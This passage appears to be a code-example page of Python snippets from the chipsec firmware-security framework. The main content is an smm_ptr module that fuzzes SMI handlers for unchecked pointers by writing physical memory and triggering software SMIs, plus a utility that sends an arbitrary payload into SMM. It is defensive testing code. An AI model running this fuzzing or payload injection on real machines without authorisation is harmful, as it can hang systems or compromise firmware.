            self.logger.log( "      RAX: 0x%016X\n      RBX: 0x%016X\n      RCX: 0x%016X\n      RDX: 0x%016X\n      RSI: 0x%016X\n      RDI: 0x%016X" % (rax,rbx,rcx,rdx,rsi,rdi) )
        self.interrupts.send_SW_SMI( thread_id, smi_code, smi_data, rax, rbx, rcx, rdx, rsi, rdi )
        return True

    def check_memory( self, _addr, _smi_desc, fn, restore_contents=False ):
        _ptr = _smi_desc.ptr
        filler = self.fill_byte*self.fill_size
        #
        # Check if contents have changed at physical address passed in GPRs to SMI handler
        # If changed, SMI handler might have written to that address
        #
        self.logger.log( "    < checking buffers" )

        expected_buf = FILL_BUFFER( self.fill_byte, self.fill_size, _smi_desc.ptr_in_buffer, _smi_desc.ptr, _smi_desc.ptr_offset, _smi_desc.sig, _smi_desc.sig_offset )
        buf          = self.cs.mem.read_physical_mem( _addr, self.fill_size )
        differences  = DIFF( expected_buf, buf, self.fill_size )
        _changed     = (len(differences) > 0)

        if self.logger.VERBOSE:
             self.logger.log( "checking contents at PA 0x%016X:" % _addr )
             chipsec.logger.print_buffer( buf )
             self.logger.log( "expected contents:" )
             chipsec.logger.print_buffer( expected_buf )

        if _changed:
            self.logger.log( "    contents changed at 0x%016X +%s" % (_addr,differences) )
            if restore_contents:
                self.logger.log( "    restoring 0x%X bytes at 0x%016X" % (self.fill_size, _addr) )
                self.cs.mem.write_physical_mem( _addr, self.fill_size, expected_buf )
            if DUMP_MEMORY_ON_DETECT:
                _pth_smi = os.path.join( _pth, '%X_%s'% (_smi_desc.smi_code,_smi_desc.name)  )
                if not os.path.exists( _pth_smi ): os.makedirs( _pth_smi )
                _f = os.path.join( _pth_smi, fn + '.dmp'  )
                self.logger.log( "    dumping buffer to '%s'" % _f )
                write_file( _f, buf )

        _changed1    = False
        expected_buf = filler
        if _smi_desc.ptr_in_buffer and _ptr is not None:
            buf1         = self.cs.mem.read_physical_mem( _ptr, self.fill_size )
            differences1 = DIFF( expected_buf, buf1, self.fill_size )
            _changed1    = (len(differences1) > 0)

            if self.logger.VERBOSE:
                self.logger.log( "checking contents at PA 0x%016X:" % _ptr )
                chipsec.logger.print_buffer( buf1 )

            if _changed1:
                self.logger.log( "    contents changed at 0x%016X +%s" % (_ptr,differences1) )
                if restore_contents:
                    self.logger.log( "    restoring 0x%X bytes at PA 0x%016X" % (self.fill_size, _ptr) )
                    self.cs.mem.write_physical_mem( _ptr, self.fill_size, expected_buf )
                if DUMP_MEMORY_ON_DETECT:
                    _pth_smi = os.path.join( _pth, '%X_%s'% (_smi_desc.smi_code,_smi_desc.name)  )
                    if not os.path.exists( _pth_smi ): os.makedirs( _pth_smi )
                    _f = os.path.join( _pth_smi, fn + ('_ptr%X.dmp' % _smi_desc.ptr_offset)  )
                    self.logger.log( "    dumping buffer to '%s'" % _f )
                    write_file( _f, buf1 )

        return (_changed or _changed1)


    def smi_fuzz_iter( self, thread_id, _addr, _smi_desc, fill_contents=True, restore_contents=False ):
        #
        # Fill memory buffer if not in 'No Fill' mode
        #
        if self.is_check_memory and fill_contents:
            self.fill_memory( _addr, _smi_desc.ptr_in_buffer, _smi_desc.ptr, _smi_desc.ptr_offset, _smi_desc.sig, _smi_desc.sig_offset )
        #
        # Invoke SW SMI Handler
        #
        _rax = _smi_desc.gprs['rax']
        _rbx = _smi_desc.gprs['rbx']
        _rcx = _smi_desc.gprs['rcx']
        _rdx = _smi_desc.gprs['rdx']
        _rsi = _smi_desc.gprs['rsi']
        _rdi = _smi_desc.gprs['rdi']
        self.send_smi( thread_id, _smi_desc.smi_code, _smi_desc.smi_data, _smi_desc.name, _smi_desc.desc, _rax, _rbx, _rcx, _rdx, _rsi, _rdi )

        #
        # Check memory buffer if not in 'No Fill' mode
        #
        contents_changed = False
        if self.is_check_memory:
            fn = '%X-a%X_b%X_c%X_d%X_si%X_di%X' % (_smi_desc.smi_data,_rax,_rbx,_rcx,_rdx,_rsi,_rdi)
            contents_changed = self.check_memory( _addr, _smi_desc, fn, restore_contents )
            if contents_changed:
                msg = "DETECTED: SMI# %X data %X (rax=%X rbx=%X rcx=%X rdx=%X rsi=%X rdi=%X)" % (_smi_desc.smi_code,_smi_desc.smi_data,_rax,_rbx,_rcx,_rdx,_rsi,_rdi)
                self.logger.log_important( msg )     
                if FUZZ_BAIL_ON_1ST_DETECT: raise BadSMIDetected, msg

        if FLUSH_OUTPUT_AFTER_SMI: self.logger.flush()

        return contents_changed


    def test_config( self, thread_id, _smi_config_fname, _addr, _addr1 ):
        #
        # Parse SMM config file describing SMI handlers and their call arguments
        # Then invoke SMI handlers
        #
        fcfg = open( _smi_config_fname, 'r' )
        self.logger.log( "\n[*] >>> Testing SMI handlers defined in '%s'.." % _smi_config_fname )

        bad_ptr_cnt = 0
        _smi_desc = smi_desc()
        for line in fcfg:
            if '' == line.strip():
                self.logger.log( "\n[*] testing SMI# 0x%02X (data: 0x%02X) %s (%s)" % (_smi_desc.smi_code,_smi_desc.smi_data,_smi_desc.name,_smi_desc.desc) )
                if self.smi_fuzz_iter( thread_id, _addr, _smi_desc ): bad_ptr_cnt += 1
                _smi_desc = None
                _smi_desc = smi_desc()
            else:
                name, var = line.strip().partition('=')[::2]
                _n = name.strip().lower()
                if   'name'       == _n: _smi_desc.name       = var
                elif 'desc'       == _n: _smi_desc.desc       = var
                elif 'smi_code'   == _n: _smi_desc.smi_code   = int(var,16) if '*'!=var else _SMI_CODE_DATA
                elif 'smi_data'   == _n: _smi_desc.smi_data   = int(var,16) if '*'!=var else _SMI_CODE_DATA
                elif 'ptr_offset' == _n:
                    _smi_desc.ptr_in_buffer = True
                    _smi_desc.ptr_offset    = int(var,16)
                    _smi_desc.ptr           = _addr1
                elif 'sig'        == _n: _smi_desc.sig        = str( bytearray.fromhex( var ) )
                elif 'sig_offset' == _n: _smi_desc.sig_offset = int(var,16)
                else:                    _smi_desc.gprs[ _n ] = ( _addr if 'PTR'==var else (_FILL_VALUE_BYTE if 'VAL'==var else int(var,16)) ) if '*'!=var else _FILL_VALUE_QWORD

        return bad_ptr_cnt


    def test_fuzz( self, thread_id, smic_start, smic_end, _addr, _addr1 ):

        gpr_value = ((_addr<<32)|_addr) if GPR_2ADDR else _addr

        gprs_addr = {'rax' : gpr_value, 'rbx' : gpr_value, 'rcx' : gpr_value, 'rdx' : gpr_value, 'rsi' : gpr_value, 'rdi' : gpr_value}
        gprs_fill = {'rax' : _FILL_VALUE_QWORD, 'rbx' : _FILL_VALUE_QWORD, 'rcx' : _FILL_VALUE_QWORD, 'rdx' : _FILL_VALUE_QWORD, 'rsi' : _FILL_VALUE_QWORD, 'rdi' : _FILL_VALUE_QWORD}
        self.logger.log( "\n[*] >>> Fuzzing SMI handlers.." )
        self.logger.log( "[*] AX in RAX will be overwridden with values of SW SMI ports 0xB2/0xB3" )
        self.logger.log( "    DX in RDX will be overwridden with value 0x00B2" )

        bad_ptr_cnt = 0
        _smi_desc = smi_desc()
        _smi_desc.gprs = gprs_addr if PTR_IN_ALL_GPRS else gprs_fill
        self.logger.log( "\n[*] Setting values of general purpose registers to 0x%016X" % _smi_desc.gprs['rax'] )
        max_ptr_off = 1

        if self.is_check_memory and self.test_ptr_in_buffer:
            _smi_desc.ptr_in_buffer = True
            _smi_desc.ptr = _addr1
            max_ptr_off = MAX_PTR_OFFSET_IN_BUFFER+1

        # if we are not in fuzzmore mode, i.e. we are not testing the pointer within memory buffer
        # then this outer loop will only have 1 iteration
        for off in range(max_ptr_off):
            _smi_desc.ptr_offset = off
            self.logger.log( "\n[*] reloading buffer with PTR at offset 0x%X.." % off )
            if self.is_check_memory:
                self.fill_memory( _addr, _smi_desc.ptr_in_buffer, _smi_desc.ptr, _smi_desc.ptr_offset, None, None )

            for smi_code in range(smic_start, smic_end + 1, 1):
                _smi_desc.smi_code = smi_code
                for smi_data in range(MAX_SMI_DATA):
                    _smi_desc.smi_data = smi_data
                    self.logger.log( "\n[*] fuzzing SMI# 0x%02X (data: 0x%02X)" % (smi_code,smi_data) )
                    if FUZZ_SMI_FUNCTIONS_IN_ECX:
                        for _rcx in range(MAX_SMI_FUNCTIONS):
                            self.logger.log( " >> function (RCX): 0x%016X" % _rcx )
                            _smi_desc.gprs['rcx'] = _rcx
                            if PTR_IN_ALL_GPRS:
                                if self.smi_fuzz_iter( thread_id, _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                            else:
                                self.logger.log( "    RBX: 0x%016X" % _addr )
                                _smi_desc.gprs['rbx'] = gpr_value
                                if self.smi_fuzz_iter( thread_id, _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                                _smi_desc.gprs['rbx'] = _FILL_VALUE_QWORD

                                self.logger.log( "    RSI: 0x%016X" % _addr )
                                _smi_desc.gprs['rsi'] = gpr_value
                                if self.smi_fuzz_iter( thread_id,  _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                                _smi_desc.gprs['rsi'] = _FILL_VALUE_QWORD

                                self.logger.log( "    RDI: 0x%016X" % _addr )
                                _smi_desc.gprs['rdi'] = gpr_value
                                if self.smi_fuzz_iter( thread_id, _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                                _smi_desc.gprs['rdi'] = _FILL_VALUE_QWORD
                    else:
                        if PTR_IN_ALL_GPRS:
                            if self.smi_fuzz_iter( thread_id, _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                        else:
                            self.logger.log( "    RBX: 0x%016X" % _addr )
                            _smi_desc.gprs['rbx'] = gpr_value
                            if self.smi_fuzz_iter( thread_id, _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                            _smi_desc.gprs['rbx'] = _FILL_VALUE_QWORD

                            self.logger.log( "    RCX: 0x%016X" % _addr )
                            _smi_desc.gprs['rcx'] = gpr_value
                            if self.smi_fuzz_iter( thread_id, _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                            _smi_desc.gprs['rcx'] = _FILL_VALUE_QWORD

                            self.logger.log( "    RSI: 0x%016X" % _addr )
                            _smi_desc.gprs['rsi'] = gpr_value
                            if self.smi_fuzz_iter( thread_id, _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                            _smi_desc.gprs['rsi'] = _FILL_VALUE_QWORD

                            self.logger.log( "    RDI: 0x%016X" % _addr )
                            _smi_desc.gprs['rdi'] = gpr_value
                            if self.smi_fuzz_iter( thread_id, _addr, _smi_desc, False, True ): bad_ptr_cnt += 1
                            _smi_desc.gprs['rdi'] = _FILL_VALUE_QWORD

        return bad_ptr_cnt

    def run( self, module_argv ):
        self.logger.start_test( "A tool to test SMI handlers for pointer validation vulnerabilies" )
        self.logger.log( "Usage: chipsec_main -m tools.smm.smm_ptr [ -a <mode>,<config_file>|<smic_start:smic_end>,<size>,<address> ]" )
        self.logger.log( "  mode          SMI handlers testing mode" )
        self.logger.log( "    = config    use SMI configuration file <config_file>" )
        self.logger.log( "    = fuzz      fuzz all SMI handlers with code in the range <smic_start:smic_end>" )
        self.logger.log( "    = fuzzmore  fuzz mode + pass '2nd-order' pointers within buffer to SMI handlers")
        self.logger.log( "  size          size of the memory buffer (in Hex)" )
        self.logger.log( "  address       physical address of memory buffer to pass in GP regs to SMI handlers (in Hex)" )
        self.logger.log( "    = smram     pass address of SMRAM base (system may hang in this mode!)\n" )
        
        test_mode            = 'config'
        _smi_config_fname    = 'chipsec/modules/tools/smm/smm_config.ini'
        _addr                = None
        _addr1               = None
        thread_id            = 0x0

        global DUMP_GPRS_EVERY_SMI
        if len(module_argv) > 1:
            test_mode = module_argv[0].lower()
            if 'config' == test_mode:
                _smi_config_fname = module_argv[1]
            elif 'fuzz' == test_mode or 'fuzzmore' == test_mode:
                smic_arr   = module_argv[1].split(':')
                smic_start = int(smic_arr[0],16)
                smic_end   = int(smic_arr[1],16)
                if 'fuzzmore' == test_mode:
                    self.test_ptr_in_buffer = True
                    DUMP_GPRS_EVERY_SMI = False
            else:
                self.logger.error( "Unknown fuzzing mode '%s'" % module_argv[0] )
                return ModuleResult.ERROR

        if len(module_argv) > 2: self.fill_size = int(module_argv[2],16)
        if len(module_argv) > 3:
            if 'smram' == module_argv[3]:
                (_addr, smram_limit, smram_size) = self.cs.cpu.get_SMRAM()
                self.is_check_memory = False
                self.logger.log( "[*] Using SMRAM base address (0x%016X) to pass to SMI handlers" % _addr )
            else:
                _addr = int(module_argv[3],16)
                self.logger.log( "[*] Using address from command-line (0x%016X) to pass to SMI handlers" % _addr )
        else:
            (va, _addr) = self.cs.mem.alloc_physical_mem( self.fill_size, _MAX_ALLOC_PA )
            self.logger.log( "[*] Allocated memory buffer (to pass to SMI handlers)       : 0x%016X" % _addr )

        if self.is_check_memory:
            (va1, _addr1) = self.cs.mem.alloc_physical_mem( self.fill_size, _MAX_ALLOC_PA )
            self.logger.log( "[*] Allocated 2nd buffer (address will be in the 1st buffer): 0x%016X" % _addr1 )

        #
        # @TODO: Need to check that SW/APMC SMI is enabled
        #

        self.logger.log( "\n[*] Configuration" )
        self.logger.log( "    SMI testing mode          : %s" % test_mode )
        if 'config' == test_mode:
            self.logger.log( "    Config file           : %s" % _smi_config_fname )
        else:
            self.logger.log( "    Range of SMI codes (B2)   : 0x%02X:0x%02X" % (smic_start,smic_end) )
        self.logger.log( "    Memory buffer pointer     : 0x%016X (address passed in GP regs to SMI)" % _addr )
        self.logger.log( "    Filling/checking memory?  : %s" % ('YES' if self.is_check_memory else 'NO'))
        if self.is_check_memory:
            self.logger.log( "      Second buffer pointer   : 0x%016X (address written to memory buffer)" % _addr1 )
            self.logger.log( "      Number of bytes to fill : 0x%X" % self.fill_size )
            self.logger.log( "      Byte to fill with       : 0x%X" % ord(self.fill_byte) )
        self.logger.log( "    Additional options (can be changed in the source code):" )
        self.logger.log( "      Fuzzing SMI functions in ECX?          : %d" % FUZZ_SMI_FUNCTIONS_IN_ECX )
        self.logger.log( "      Max value of SMI function in ECX       : 0x%X" % MAX_SMI_FUNCTIONS )
        self.logger.log( "      Max value of SMI data (B3)             : 0x%X" % MAX_SMI_DATA )
        self.logger.log( "      Max offset of the pointer in the buffer: 0x%X" % MAX_PTR_OFFSET_IN_BUFFER )
        self.logger.log( "      Passing pointer in all GP registers?   : %d" % PTR_IN_ALL_GPRS )
        self.logger.log( "      Default values of the registers        : 0x%016X" % _FILL_VALUE_QWORD )
        self.logger.log( "      Dump all register values every SMI     : %d" % DUMP_GPRS_EVERY_SMI )
        self.logger.log( "      Bail on first detection                : %d" % FUZZ_BAIL_ON_1ST_DETECT )

        self.logger.set_always_flush( FLUSH_OUTPUT_ALWAYS )
        if DUMP_MEMORY_ON_DETECT and not os.path.exists( _pth ): os.makedirs( _pth )

        bad_ptr_cnt = 0
        try:
            if 'config' == test_mode:
                bad_ptr_cnt = self.test_config( thread_id, _smi_config_fname, _addr, _addr1 )
            elif 'fuzz' == test_mode or 'fuzzmore' == test_mode:
                bad_ptr_cnt = self.test_fuzz  ( thread_id, smic_start, smic_end, _addr, _addr1 )
        except BadSMIDetected, msg:
            bad_ptr_cnt = 1
            self.logger.log_important( "Potentially bad SMI detected! Stopped fuzing (see FUZZ_BAIL_ON_1ST_DETECT option)" )

        if bad_ptr_cnt > 0: self.logger.log_bad( "<<< Done: found %d potential occurrences of unchecked input pointers" % bad_ptr_cnt )
        else:               self.logger.log_good( "<<< Done: didn't find unchecked input pointers in tested SMI handlers" ) 

        res = ModuleResult.FAILED if (bad_ptr_cnt > 0) else ModuleResult.PASSED
        return res
Ejemplo n.º 19
0
 def run(self):
     try:
         interrupts = Interrupts(self.cs)
     except RuntimeError, msg:
         print msg
         return
Ejemplo n.º 20
0
    def run(self):
        if len(self.argv) < 3:
            print(SMICommand.__doc__)
            return

        try:
            interrupts = Interrupts(self.cs)
        except RuntimeError as msg:
            print(msg)
            return

        op = self.argv[2]
        t = time.time()

        if 'count' == op:
            self.logger.log("[CHIPSEC] SMI count:")
            for tid in range(self.cs.msr.get_cpu_thread_count()):
                smi_cnt = self.cs.read_register_field('MSR_SMI_COUNT',
                                                      'Count',
                                                      cpu_thread=tid)
                self.logger.log("  CPU{:d}: {:d}".format(tid, smi_cnt))
        elif 'smmc' == op:
            if len(self.argv) < 8:
                print(SMICommand.__doc__)
                return

            RTC_start = int(self.argv[3], 16)
            RTC_end = int(self.argv[4], 16)
            guid = self.argv[5]
            payload_loc = int(self.argv[6], 16)
            payload = self.argv[7]
            if os.path.isfile(payload):
                f = open(payload, 'rb')
                payload = f.read()
                f.close()

            self.logger.log(
                "Searching for \'smmc\' in range 0x{:x}-0x{:x}".format(
                    RTC_start, RTC_end))
            # scan for SMM_CORE_PRIVATE_DATA smmc signature
            smmc_loc = interrupts.find_smmc(RTC_start, RTC_end)
            if smmc_loc == 0:
                self.logger.log(" Couldn't find smmc signature")
                return
            self.logger.log(
                "Found \'smmc\' structure at 0x{:x}".format(smmc_loc))

            ReturnStatus = interrupts.send_smmc_SMI(smmc_loc, guid, payload,
                                                    payload_loc)
            #TODO Translate ReturnStatus to EFI_STATUS enum
            self.logger.log("ReturnStatus: {:x}".format(ReturnStatus))
        else:
            SMI_data_port_value = 0x0
            if len(self.argv) > 4:
                thread_id = int(self.argv[2], 16)
                SMI_code_port_value = int(self.argv[3], 16)
                SMI_data_port_value = int(self.argv[4], 16)
                self.logger.log(
                    "[CHIPSEC] Sending SW SMI (code: 0x{:02X}, data: 0x{:02X}).."
                    .format(SMI_code_port_value, SMI_data_port_value))
                if 5 == len(self.argv):
                    interrupts.send_SMI_APMC(SMI_code_port_value,
                                             SMI_data_port_value)
                elif 11 == len(self.argv):
                    _rax = int(self.argv[5], 16)
                    _rbx = int(self.argv[6], 16)
                    _rcx = int(self.argv[7], 16)
                    _rdx = int(self.argv[8], 16)
                    _rsi = int(self.argv[9], 16)
                    _rdi = int(self.argv[10], 16)
                    self.logger.log(
                        "          RAX: 0x{:016X} (AX will be overwridden with values of SW SMI ports B2/B3)"
                        .format(_rax))
                    self.logger.log("          RBX: 0x{:016X}".format(_rbx))
                    self.logger.log("          RCX: 0x{:016X}".format(_rcx))
                    self.logger.log(
                        "          RDX: 0x{:016X} (DX will be overwridden with 0x00B2)"
                        .format(_rdx))
                    self.logger.log("          RSI: 0x{:016X}".format(_rsi))
                    self.logger.log("          RDI: 0x{:016X}".format(_rdi))
                    ret = interrupts.send_SW_SMI(thread_id,
                                                 SMI_code_port_value,
                                                 SMI_data_port_value, _rax,
                                                 _rbx, _rcx, _rdx, _rsi, _rdi)
                    if not ret is None:
                        self.logger.log("Return values")
                        self.logger.log("          RAX: {:16X}".format(ret[1]))
                        self.logger.log("          RBX: {:16X}".format(ret[2]))
                        self.logger.log("          RCX: {:16X}".format(ret[3]))
                        self.logger.log("          RDX: {:16X}".format(ret[4]))
                        self.logger.log("          RSI: {:16X}".format(ret[5]))
                        self.logger.log("          RDI: {:16X}".format(ret[6]))
                else:
                    print(SMICommand.__doc__)
            else:
                self.logger.error(
                    "unknown command-line option '{:32}'".format(op))
                print(SMICommand.__doc__)
                return

        self.logger.log(
            "[CHIPSEC] (smi) time elapsed {:.3f}".format(time.time() - t))
Ejemplo n.º 21
0
 def __init__(self):
     BaseModule.__init__(self)
     self.interrupts = Interrupts( self.cs )
     self.is_check_memory = True
Ejemplo n.º 22
0
def smi(argv):
    try:
        interrupts = Interrupts( chipsec_util._cs )
    except RuntimeError, msg:
        print msg
        return
Ejemplo n.º 23
0
class smm_ptr(BaseModule):
    def __init__(self):
        BaseModule.__init__(self)
        self.interrupts = Interrupts(self.cs)
        self.is_check_memory = True

    def is_supported(self):
        return True

    def get_SMRAM(self):
        msr_smrrbase = chipsec.chipset.read_register(self.cs,
                                                     'IA32_SMRR_PHYSBASE')
        msr_smrrmask = chipsec.chipset.read_register(self.cs,
                                                     'IA32_SMRR_PHYSMASK')
        smrrbase = chipsec.chipset.get_register_field(self.cs,
                                                      'IA32_SMRR_PHYSBASE',
                                                      msr_smrrbase, 'PhysBase',
                                                      True)
        smrrmask = chipsec.chipset.get_register_field(self.cs,
                                                      'IA32_SMRR_PHYSMASK',
                                                      msr_smrrmask, 'PhysMask',
                                                      True)
        return (smrrbase, smrrmask)

    def fill_memory(self, _addr, _addr1, _fill_byte, _fill_size):
        #
        # Fill in contents at PA = _addr with known pattern to check later if any SMI handler modifies them
        #
        self.logger.log("[*] Filling in %d bytes at PA 0x%016X with '%c'.." %
                        (_fill_size, _addr, _fill_byte))
        self.cs.mem.write_physical_mem(_addr, _fill_size,
                                       _fill_byte * _MEM_FILL_SIZE)
        if MODE_SECOND_ORDER_BUFFER:
            self.logger.log(
                "[*] Filling in %d bytes at PA 0x%016X with '%c'.." %
                (_fill_size, _addr1, _fill_byte))
            self.cs.mem.write_physical_mem(_addr1, _fill_size,
                                           _fill_byte * _MEM_FILL_SIZE)
        return True

    def send_smi(self, smi_code, smi_data, name, desc, rax, rbx, rcx, rdx, rsi,
                 rdi):
        #
        # Invoke SW SMI#
        #
        self.logger.log("[*] Sending SMI# 0x%02X (data = 0x%02X) %s (%s).." %
                        (smi_code, smi_data, name, desc))
        self.logger.log(
            "    RAX: 0x%016X (AX will be overwridden with values of SW SMI ports B2/B3)"
            % rax)
        self.logger.log("    RBX: 0x%016X" % rbx)
        self.logger.log("    RCX: 0x%016X" % rcx)
        self.logger.log(
            "    RDX: 0x%016X (DX will be overwridden with 0x00B2)" % rdx)
        self.logger.log("    RSI: 0x%016X" % rsi)
        self.logger.log("    RDI: 0x%016X" % rdi)
        self.interrupts.send_SW_SMI(smi_code, smi_data, rax, rbx, rcx, rdx,
                                    rsi, rdi)
        return True

    def check_memory(self, _addr, _addr1, _fill_byte, _fill_size):
        #
        # Check if contents have changed at physical address passed in GPRs to SMI handler
        # If changed, SMI handler might have written to that address
        #
        _changed = False
        self.logger.log("[*] Checking contents at PA 0x%016X.." % _addr)
        buf = self.cs.mem.read_physical_mem(_addr, _fill_size)
        i = 0
        for c in buf:
            if _fill_byte != c:
                _changed = True
                break
            i = i + 1
        if _changed:
            self.logger.log_important(
                "Detected: contents at PA 0x%016X (+ 0x%X) have changed" %
                (_addr, i))
            if DUMP_MEMORY_ON_DETECT:
                _f = os.path.join(_pth, '%s_addr%X_after.dmp' % (name, _addr))
                write_file(_f, buf)
        else:
            self.logger.log_good("Contents at PA 0x%016X have not changed" %
                                 _addr)

        _changed1 = False
        if MODE_SECOND_ORDER_BUFFER:
            self.logger.log("[*] Checking contents at PA 0x%016X.." % _addr1)
            buf1 = self.cs.mem.read_physical_mem(_addr1, _fill_size)
            i = 0
            for c in buf1:
                if _fill_byte != c:
                    _changed1 = True
                    break
                i = i + 1
            if _changed1:
                self.logger.log_important(
                    "Detected: contents at PA 0x%016X (+ 0x%X) have changed" %
                    (_addr1, i))
                if DUMP_MEMORY_ON_DETECT:
                    _f = os.path.join(_pth,
                                      '%s_addr%X_after.dmp' % (name, _addr1))
                    write_file(_f, buf1)
            else:
                self.logger.log_good(
                    "Contents at PA 0x%016X have not changed" % _addr1)

        return (_changed or _changed1)

    def run(self, module_argv):
        self.logger.start_test(
            "A tool to test SMI handlers for pointer validation vulnerabilies")
        self.logger.log(
            "Usage: chipsec_main -m tools.smm.smm_ptr [ -a <fill_byte>,<size>,<config_file>,<address> ]"
        )
        self.logger.log(
            "       address	physical address of memory buffer to pass in GP regs to SMI handlers"
        )
        self.logger.log(
            "         ='smram'	pass address of SMRAM base (system may hang in this mode!)"
        )
        self.logger.log(
            "       config_file	path to a file describing interfaces to SMI handlers (template: smm_config.ini)"
        )
        self.logger.log("       size		size of the memory buffer")
        self.logger.log(
            "       fill_byte	byte to fill the memory buffer with\n")

        _smi_config_fname = 'chipsec/modules/tools/smm/smm_config.ini'
        _addr = 0x0
        _wr_val = _FILL_VALUE_BYTE

        _fill_byte = chr(int(module_argv[0],
                             16)) if len(module_argv) > 0 else _MEM_FILL_VALUE
        _fill_size = int(module_argv[1],
                         16) if len(module_argv) > 1 else _MEM_FILL_SIZE

        if len(module_argv) > 2: _smi_config_fname = module_argv[2]
        if len(module_argv) > 3:
            if 'smram' == module_argv[3]:
                (smrrbase, smrrmask) = self.get_SMRAM()
                _addr = smrrbase & smrrmask
                self.is_check_memory = False
                self.logger.log(
                    "[*] Using SMRAM base address (0x%016X) to pass to SMI handlers"
                    % _addr)
            else:
                _addr = int(module_argv[3], 16)
                self.logger.log(
                    "[*] Using address from command-line (0x%016X) to pass to SMI handlers"
                    % _addr)
        else:
            (va,
             _addr) = self.cs.mem.alloc_physical_mem(_fill_size, _MAX_ALLOC_PA)
            self.logger.log(
                "[*] Allocated new memory buffer (0x%016X) to pass to SMI handlers"
                % _addr)

        _b = ord(_fill_byte)
        _addr1 = 0xFFFFFFFFFFFFFFFF & ((_b << 24) | (_b << 16) |
                                       (_b << 8) | _b)

        #
        # @TODO: Need to check that SW/APMC SMI is enabled
        #

        self.logger.log("[*] Configuration:")
        self.logger.log("    SMI config file          : %s" %
                        _smi_config_fname)
        self.logger.log("    Register default value   : 0x%016X" %
                        _FILL_VALUE_QWORD)
        self.logger.log(
            "    Memory address           : 0x%016X (passed in GP regs to SMI)"
            % _addr)
        self.logger.log("    Pointers within buffer?  : %s" %
                        ('ON' if MODE_SECOND_ORDER_BUFFER else 'OFF'))
        if MODE_SECOND_ORDER_BUFFER:
            self.logger.log(
                "    Pointer (address) in memory buffer (32b): 0x%016X" %
                _addr1)
        self.logger.log("    Filling/checking memory? : %d" %
                        self.is_check_memory)
        if self.is_check_memory:
            self.logger.log("    Byte to fill with        : 0x%X" % _b)
            self.logger.log("    Number of bytes to fill  : 0x%X" % _fill_size)

        #
        # Parse SMM config file describing SMI handlers and their call arguments
        # Then invoke SMI handlers
        #
        fcfg = open(_smi_config_fname, 'r')
        keys = {}

        if DUMP_MEMORY_ON_DETECT and not os.path.exists(_pth):
            os.makedirs(_pth)

        self.logger.set_always_flush(FLUSH_OUTPUT_ALWAYS)

        self.logger.log('')
        self.logger.log("[*] Fuzzing SMI handlers defined in '%s'.." %
                        _smi_config_fname)

        _failed = False
        for line in fcfg:
            if '' == line.strip():
                # Fill memory buffer if not in 'No Fill' mode
                if self.is_check_memory:
                    self.fill_memory(_addr, _addr1, _fill_byte, _fill_size)
                # Invoke SW SMI handler
                self.send_smi( keys['smi_code'], keys['smi_data'], \
                               keys['name'], keys['desc'],         \
                               keys['rax'], keys['rbx'], keys['rcx'], keys['rdx'], keys['rsi'], keys['rdi'] )
                # Check memory buffer if not in 'No Fill' mode
                if self.is_check_memory:
                    _failed = _failed or self.check_memory(
                        _addr, _addr1, _fill_byte, _fill_size)
            else:
                name, var = line.strip().partition('=')[::2]
                _n = name.strip().lower()
                if 'name' == _n or 'desc' == _n: keys[_n] = var
                elif 'smi_code' == _n or 'smi_data' == _n:
                    keys[_n] = int(var, 16) if '*' != var else _SMI_CODE_DATA
                else:
                    keys[_n] = (_addr if 'PTR' == var else
                                (_wr_val if 'VAL' == var else int(var, 16)
                                 )) if '*' != var else _FILL_VALUE_QWORD

        res = ModuleResult.FAILED if _failed else ModuleResult.PASSED
        return res
Ejemplo n.º 24
0
class bar(BaseModule):

    def __init__(self):
        BaseModule.__init__(self)
        self._interrupts  = Interrupts( self.cs )

        self.generate_smi = False
        self.bar_names    = []
        self.bars         = {}
        self.bars_diff    = {}

        # SMI code to be written to I/O port 0xB2
        self.smic_start   = 0x00
        self.smic_end     = SMI_CODE_LIMIT
        # SMI data to be written to I/O port 0xB3
        self.smid_start   = 0x00
        self.smid_end     = SMI_DATA_LIMIT
        # SMI handler "function" often supplied in ECX register
        self.smif_start   = 0x00
        self.smif_end     = SMI_FUNC_LIMIT
        # SMM communication buffer often supplied in EBX register
        self.comm         = 0x00
       

    def mmio_diff(self, bar_name, _regs=None):
        regs = _regs if _regs else self.bars[bar_name]
        n = len(regs)
        new_regs = self.cs.mmio.read_MMIO_BAR(bar_name)
        diff = DIFF(new_regs, regs, n)
        return (len(diff) > 0), diff

    def check_mmio_noSMI(self):
        for bar_name in self.bars.keys():
            self.logger.log("[*] '%s' normal difference (%d diffs):" % (bar_name,3*NO_DIFFS))
            self.logger.flush()
            diff = []
            for i in range(3*NO_DIFFS):
                if i > 0 and (i % NO_DIFFS) == 0:
                    self.logger.log("sleeping 1 sec..")
                    time.sleep(1)
                regs = self.cs.mmio.read_MMIO_BAR(bar_name)
                _,d = self.mmio_diff(bar_name, regs)
                self.logger.log("    diff%d: %d regs %s" % (i,len(d),d))
                diff = list(set(diff)|set(d))
            self.bars_diff[bar_name] = diff
            self.logger.log("    %d regs changed: %s" % (len(diff),sorted(diff)))

    def read_BARs(self):
        bars = {}
        for bar_name in self.bar_names:
            self.logger.log("    reading '%s'" % bar_name)
            bars[bar_name] = self.cs.mmio.read_MMIO_BAR(bar_name)
        return bars

    def check_BARs(self, bars, bars1):
        changed = False
        for bar_name in bars.keys():
            n = len(bars[bar_name])
            self.logger.log("    diffing '%s' (%d regs)" % (bar_name,n))
            diff = DIFF(bars1[bar_name], bars[bar_name], n)
            if len(diff) > 0:
                self.logger.log("    %d regs changed: %s" % (len(diff),sorted(diff)))
                normal_diff = self.bars_diff[bar_name]
                new = [r for r in diff if r not in normal_diff]
                self.logger.log("    new regs: %s" % sorted(new))
                if len(new) > 0: changed = True
            else:
                self.logger.log("    no changes")
        return changed

    def smi_mmio_check(self, thread_id):

        for smi_code in xrange(self.smic_start,self.smic_end+1):
            if smi_code in EXCLUDE_SMI: continue
            for smi_data in xrange(self.smid_start,self.smid_end+1):
                for ecx in xrange(self.smif_start,self.smif_end+1):
                    self.logger.log("[*] SMI# %02X: data %02X, func (ECX) 0x%08X" % (smi_code,smi_data,ecx) )
                    bars = self.read_BARs()
                    self.logger.log("    generating SMI" )
                    self.logger.flush()
